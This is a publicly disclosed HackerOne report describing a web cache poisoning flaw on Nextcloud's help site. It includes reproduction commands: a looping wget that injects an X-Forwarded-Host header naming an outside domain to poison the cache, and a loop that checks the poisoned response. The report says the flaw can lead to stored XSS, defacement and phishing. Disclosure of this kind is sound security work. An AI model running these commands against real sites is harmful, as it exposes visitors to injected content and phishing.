HexBrain

Nextcloud · Report #429747

https://help.nextcloud.com::: Web cache poisoning attack

Validstatus
highseverity
25upvotes
31 Jan 2020disclosed

How it was found

Hi there, I just found the website: https://help.nextcloud.com is infected with "Web cache poisoning" Abuse this bug, Attacker can:

  1. Poison your cache with HTTP header with XSS included. This attack may leads to Stored XSS
  2. Poison your website contains malware url (cache poisoned by attacker), maybe the user's browser (like Firefox, Chrome) will block your website (https://help.nextcloud.com)

How to reproduce the issue:

In the 1st terminal, run command likes this: 

$ while true; do wget "https://help.nextcloud.com/?qwKzzSR=649227948379" --header 'X-Forwarded-Host: cyberjutsu.io/#' -qO->/dev/null; echo "poisoning...";done In the 2nd terminal, run command below for confirmation this attack is successful: while true; do wget "https://help.nextcloud.com/?qwKzzSR=649227948379" -qO-|grep "cyberjutsu.io"; echo "ping my payload..." ;done

Finally, this link bellow: https://help.nextcloud.com/?qwKzzSR=649227948379 was infected with "Web Cache poisoning attack". Please see the attached image for details.

Impact Stored XSS attack, deface website .... Cheers, ~g4mm4

Impact

Stored XSS attack, deface website, phishing for funs :)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original